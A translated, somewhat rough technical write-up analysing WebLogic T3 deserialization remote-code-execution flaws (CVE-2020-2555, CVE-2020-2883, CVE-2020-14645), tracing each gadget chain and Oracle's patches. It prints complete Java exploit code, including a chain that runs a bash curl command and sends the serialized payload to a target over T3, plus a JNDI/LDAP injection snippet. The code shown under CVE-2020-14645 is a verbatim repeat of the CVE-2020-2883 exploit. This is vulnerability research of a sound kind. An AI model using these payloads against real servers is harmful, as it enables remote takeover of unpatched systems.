preface
WebLogic is an application server produced by American Oracle company, specifically a middleware based on JAVAEE architecture. Java application server is mainly used to develop, integrate, deploy and manage large-scale distributed Web applications, network applications and database applications. In recent years, many RCE vulnerabilities have frequently erupted. This year, its T3 protocol has been frequently attacked, patched and bypassed. This paper mainly analyzes several RCE vulnerabilities generated by the T3 protocol entry this year, including CVE-2020-2555, CVE-2020-2883(bypass CVE-2020-2555 patch) and CVE-2020-14645 (bypass CVE-2020-2883 patch).
Environment construction
There are two build environments. The first is to build the environment using docker and use IDEA for dynamic debugging. Refer to [1]. Weblogic Server Version 12.2.1.4.0 is recommended for debugging in this paper. For this version of docker file, see https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews.
The second is to download the installation package [2] and install the installation guide [3].
We use the second method. Install after downloading from the Oracle official website.
java.exe -jar C:\Users\Administrator\Desktop\fmw_12.2.1.4.0_wls_lite_generic.jar
After installation, you can import IDEA and configure it.
Vulnerability version
Cve-2020-2555 & & cve-2020-2883 (bypass cve-2020-2555 patch)
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
CVE-2020-14645 (bypass CVE-2020-2883 patch)
12.2.1.4.0**
Causes of loopholes
A simple understanding of the cause of this vulnerability is that Weblogic turns on T3 protocol by default. An attacker can use T3 protocol for deserialization vulnerability to realize remote code execution.
Introduction to code based vulnerabilities: CVE-2020-2555 mainly stems from the existence of classes for gadget construction (deserialization construction classes) in coherence.jar, and the use of weblogic's default T3 protocol for transmission and parsing, which leads to the weblogic Server to deserialize malicious code and execute attack statements at the end.
T3 protocol
RMI communication in WebLogic Server uses T3 protocol to transfer data between WebLogic Server and other Java programs, including clients and other WebLogic Server instances.
At the same time, T3 protocol includes
1. Request header 2. Request subject
Therefore, in the process of T3 packet construction, it is necessary to send two parts of data
- List item
Request header, shaped as
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1
End with \ n
- At the same time, we send the t3 request packet, which can be used to spy on the weblogic version of the server. The server will respond to its own version, as shown in
HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000
- Serialize the data part. There are two ways to form the serialized part:
The first generation method is to replace any of the JAVA serialization data of the second to ninth parts of the JAVA serialization data sent by weblogic with malicious serialization data.
The second generation method is to splice the first part of JAVA serialized data sent by weblogic with malicious serialized data.
The specific data structure can be referred to http://drops.xmd5.com/static/drops/web-13470.html Here, we do not focus on the specific data structure of T3, but focus on the deserialization vulnerability of T3.
- To sum up, in order to realize the JAVA serialization package of T3 protocol, it is necessary to insert serialization malicious data in the T3 data structure header after sending. The malicious data is the same as the JAVA Native ObjectOutputStream data type, and then send the T3 data structure tail.
CVE-2020-2555
Since CVE-2020-2883 bypasses the 2555 patch, let's first look at the original CVE-2020-2555 utilization chain.
BadAttributeValueExpException.readObject() com.tangosol.util.filter.LimitFilter.toString() //This was repaired when CVE-2020-2555 appeared com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() //... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()
We used 12.2.1.4.0 to debug this.
Based on some known vulnerability information
The source of the vulnerability is the LimitFilter function in the coherence.jar package. We add the relevant vulnerability packages coherence.jar and tangsol.jar to the library function and decompile add as library
In server \ lib \ console ext \ autodeploy \ tangosol.jar\ COM \ tangosol \ util \ filter \ limitfilter.class#tostring download some breakpoints, debug and send POC.
According to the stack information, Weblogic received the data of POC, distributed it, and then deserialized and restored the data segment of T3, resulting in the entry of the vulnerability.
The BadAttributeValueExpException class instance can be used to call the * * toString() * * method of any class. Some friends may wonder why this class instance can call the toString() method of any class? The reasons are as follows:
When deserializing a class with java.io.ObjectInputStream, the readObject method of the class will be called by default.
The javax.management.BadAttributeValueExpException#readObject method will extract the value of its val attribute for the incoming ObjectInputStream instance (which is why we inject malicious objects into the val attribute).
Then judge the value (valObj is under our control, that is, the object we inject the val attribute). What we need to enter is val = valObj.toString(); Then call the toString method of the valObj object under control:
The System.getSecurityManager here needs to be null to enter the toString logic.
Therefore, we can manipulate valObj into any object and use toString method on it. The malicious host we selected here is LimitFilter class. The reasons are as follows:
We know that the LimitFilter class will be operated by us to execute the toString method. The toString method has the following operations
Note that in the LimitFilter.class#toString method, the m of this class is obtained_ After the comparator member attribute is, it is converted to a (ValueExtractor) object and calls its own extract method:
There may be questions about how to control M_ What about the comparator member attribute? Because this class is actually a malicious class written by ourselves. Of course, we can control its member properties.
Here, we can control the malicious class we construct_ The extract method of the comparator member, and m_ The comparator member is controllable. Therefore, we can control the extract method of any class. Then, the utilization class we selected is com.tangosol.util.extractor.chainedextor #extract, because its extract method is like this, which will call the array returned by this.getExtractors to extract in turn and return it to oTarget:
this.getExtractors method inherits from AbstractCompositeExtractor and returns the member property this.m_aExtractor
And this. M_ The aextractor comes from the original method AbstractCompositeExtractor(), which is passed in when initializing the example:
It can be understood that the com.tangosol.util.extractor.ChainedExtractor class will successively call the extract method on the list of ValueExtractor [] types passed in during instance initialization.
At this point, we have the ability to call multiple object extract.
Another question is, how can we call the extract method from extract to Runtime.getRuntime.exec() * * * *? The answer is reflection. If we can find a class whose extract method is controllable and the incoming parameters will be reflected sequentially, we can perform RCE by controlling extract and the incoming parameters. This class is com.tangosol.util.extractor.ReflectionExtractor#extract
**The form of reflection will not be discussed in detail here. If you are interested, please refer to [4]
Here, you need to form the method. Invoke (called class, executed code) to be called.
such as
***.invoke(***,new String[]{"cmd","/c","calc"} //Restore the calling class with String.class.getClass().forName("java.lang.Runtime")) ***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"} //Use String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime") to construct a method //This is equivalent to java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc") String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"} //Adjust another layer of reflection to obtain exec //String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class) String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class) .invoke(Called class class, Executed code); //Complete reflection String.class.getClass(). forName("java.lang.Runtime") .getMethod("exec",String.class) .invoke( String.class.getClass().forName("java.lang.Runtime"). getMethod("getRuntime"). invoke(String.class.getClass().forName("java.lang.Runtime")) ,new String[]{"calc"} );
Then use com.tangosol.util.extractor.ReflectionExtractor#extract to pass in the construct and then invoke.
To sum up, we construct the following code fragment.
POC logic
1. Assemble the ReflectionExtractor into a list and assign it to valueExtractors (ReflectionExtractor has the extract function of reflection).
2. Then put it into chainedextractor (extract from the list in turn) (chainedextractor has a list extract function).
3. Then put in limitFilter(limitFilter allows ChainedExtractor to use extract).
4. Add badattributevalueexpexception (make limitFilter use toString).
Thus, the utilization chain is formed.
Finally, the serialized data source code is roughly as follows:
package test.laker; import com.tangosol.util.ValueExtractor; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import com.tangosol.util.filter.LimitFilter; import javax.management.BadAttributeValueExpException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class Exploit { public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException { //Define multiple conversion chains for reflection calls ValueExtractor[] valueExtractors = new ValueExtractor[]{ new ReflectionExtractor("getMethod", new Object[]{ "getRuntime", new Class[0] }), new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}), new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}}) }; //Initialize the LimitFiler class instance LimitFilter limitFilter = new LimitFilter(); limitFilter.setTopAnchor(Runtime.class); BadAttributeValueExpException expException = new BadAttributeValueExpException(null); Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors)); Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); m_oAnchorTop.setAccessible(true); m_oAnchorTop.set(limitFilter, Runtime.class); //Put the limitFilter into the val attribute of BadAttributeValueExpException Field val = expException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(expException, limitFilter); //Generate serialized payload ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser")); objectOutputStream.writeObject(expException); objectOutputStream.close(); } }
CVE-2020-2555 patch
Local patch detection method:
cd %Oracle_Home%/Middleware/wlserver/server/lib java -cp weblogic.jar weblogic.version
It can be seen that Oracle officially released the patch of CVE-2020-2555 in January [5].
The patch requires the user to hold the licensed account of the genuine software and use the account to log in to the official website before downloading.
This patch blocks the use of the extract method for objects passed in by LimitFilter
CVE-2020-2883
Quynh Le, a researcher of VNPT ISC, submitted a vulnerability to ZDI] [6]
This patch blocks the LimitFilter, that is, the path from readObject - > toString - > extract
However, the researcher found another path to connect readObject - > extract
java.util.PriorityQueue.readObject
Bypass vulnerability analysis of the latest patch for Oracle WebLogic (CVE-2020-2883)
https://github.com/Y4er/CVE-2020-2883
java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() //... Method.invoke() //... Runtime.exec()
java.util.PriorityQueue#readObject will call the heapify function, as shown in the following figure. The two parameter construction method is used for specific utilization. Let's take a look at the description in the document.
Create a PriorityQueue with the specified initial capacity and sort the elements according to the specified comparator.
The comparator we specify here is extractor comparator, with an initial capacity of 2
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
Obviously, there is an extract method in the comparator compare function of extractor comparator we call here.
Values of o1 and o2:
Let the m_extractor object use the extract method. Here, the method to manipulate the m_extractor is reflection (as described earlier).
So, as before, the m_extractor object is modified into an array to call the extract method for multiple objects, and then go to com.tangosol.util.extractor.ChainedExtractor.
At this point, the connection from readObject - > compare - > extract is completed. The subsequent calls are the same as CVE-2020-2555.
Call chain:
POC can refer to https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
package com.supeream; // com.supeream from https://github.com/5up3rc/weblogic_cmd/ // com.tangosol.util.extractor.ChainedExtractor from coherence.jar import com.supeream.serial.Reflections; import com.supeream.serial.Serializables; import com.supeream.weblogic.T3ProtocolOperation; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; /* * author:Y4er.com * * readObject:797, PriorityQueue (java.util) * heapify:737, PriorityQueue (java.util) * siftDown:688, PriorityQueue (java.util) * siftDownUsingComparator:722, PriorityQueue (java.util) * compare:71, ExtractorComparator (com.tangosol.util.comparator) * extract:81, ChainedExtractor (com.tangosol.util.extractor) * extract:109, ReflectionExtractor (com.tangosol.util.extractor) * invoke:498, Method (java.lang.reflect) */ public class CVE_2020_2883 { public static void main(String[] args) throws Exception { ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}}); ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}); ValueExtractor[] valueExtractors = new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3, }; Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); queue.add("1"); queue.add("1"); m_aExtractor.set(chainedExtractor1, valueExtractors); Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = Runtime.class; queueArray[1] = "1"; // serialize byte[] payload = Serializables.serialize(queue); // T3 send, you can also use python weblogic_t3.py test.ser T3ProtocolOperation.send("172.16.1.130", "7001", payload); // test serialize(queueArray); // deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } } public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
CVE-2020-2883 patch
Oracle's official patch [7] for CVE-2020-2883 adds two classes, MvelExtractor and ReflectionExtractor, which have dangerous operations in the extract method, to the blacklist (ReflectionExtractor and mvelextor have reflective extract functions).
java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883 Method.invoke() //... Method.invoke() //... Runtime.exec()
CVE-2020-14645
ReflectionExtractor and mveleextractor are blacklisted. If we can find a class (there are controllable reflection operations in the extract function of the class), we can continue the chain (here we have readObject - > compare - > extract - > controllable reflection in extract of multiple classes).
You can use this class com.tangosol.util.extractor.UniversalExtractor#extract.
Unfortunately, it is modified by the transient keyword, and the variables modified by the transient keyword can no longer be serialized.
However, the extractComplex method is passed in on the oTarget at line 75.
See also hope that controllable reflection also exists in this method.
It is worth noting that the two method acquisition methods can only be obtained from the first if because fProperty==false needs to be ensured in else. However, m_fMethod in line 184 has a transient modification, and the variables modified by the transient keyword can no longer be serialized. Therefore, a serialized byte stream cannot be constructed.
In the if condition, the parameter influence received is sBeanAttribute – > sCName - > this. Getcanonicalname(). The work here is to capitalize the first letter of sCName in 187 lines and splice it with the value of BEAN_ACCESSOR_PREFIXES list. If it is obtained, it will stop returning method.
So what is the BEAN_ACCESSOR_PREFIXES list? It stores the get and is strings. Therefore, when splicing, only get__or is__such method calls can be formed.
Therefore, the com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData() method can be used to make reflection calls to build JNDI injection, which is why the original ReflectionExtractor is directly reflected to the Runtime class for execution, but here only JNDI requests can be initiated to execute the code in the low-level JDk.
POC logic
On the POC structure, initialize the JDBC object first, and set this.m_sName parameter to getDatabaseMetaData()
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc"); UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
Then, the prefix of the sName of the key point will be removed, so it will be spliced later.
Still let the queue use the extractor comparator.
final ExtractorComparator comparator = new ExtractorComparator(extractor); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
Set the member variable (reflection) for the queue instance. Here, let the queue of the instance have two member variables, one is queue, the value is new Object[]{rowSet, rowSet}, the other is size, and the value is 2. The written Reflections tool class is used here. Of course, it can also be set with reflection a little bit.
Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet}); Reflections.setFieldValue(queue, "size", 2);
POC reference https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
package com.supeream; // com.supeream from https://github.com/5up3rc/weblogic_cmd/ // com.tangosol.util.extractor.ChainedExtractor from coherence.jar import com.supeream.serial.Reflections; import com.supeream.serial.Serializables; import com.supeream.weblogic.T3ProtocolOperation; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue; /* * author:Y4er.com * * readObject:797, PriorityQueue (java.util) * heapify:737, PriorityQueue (java.util) * siftDown:688, PriorityQueue (java.util) * siftDownUsingComparator:722, PriorityQueue (java.util) * compare:71, ExtractorComparator (com.tangosol.util.comparator) * extract:81, ChainedExtractor (com.tangosol.util.extractor) * extract:109, ReflectionExtractor (com.tangosol.util.extractor) * invoke:498, Method (java.lang.reflect) */ public class CVE_2020_2883 { public static void main(String[] args) throws Exception { ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}}); ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}); ValueExtractor[] valueExtractors = new ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3, }; Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); queue.add("1"); queue.add("1"); m_aExtractor.set(chainedExtractor1, valueExtractors); Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = Runtime.class; queueArray[1] = "1"; // serialize byte[] payload = Serializables.serialize(queue); // T3 send, you can also use python weblogic_t3.py test.ser T3ProtocolOperation.send("172.16.1.130", "7001", payload); // test serialize(queueArray); // deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } } public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
LDAP requests received:
The CVE exploit server has JDK conditions and can only exist in Weblogic Server 12.2.1.4. *.
LDAP: < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
Refer to article [1] remote dynamic debugging of weblogic using docker
https://blog.csdn.net/sojrs_sec/article/details/103237150
[2] Official download
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
[3] Official installation guidelines
https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2
[4] JAVA reflection
https://www.jianshu.com/p/9be58ee20dee
[5]patch for CVE-2020-2555
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
[6]Quynh Le submits vulnerability to ZDI
https://www.zerodayinitiative.com/advisories/ZDI-20-570/
[7]patch for CVE-2020-2883
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883
https://www.oracle.com/security-alerts/cpuapr2020.html
Reference: https://paper.seebug.org/1321/
404yyds!!!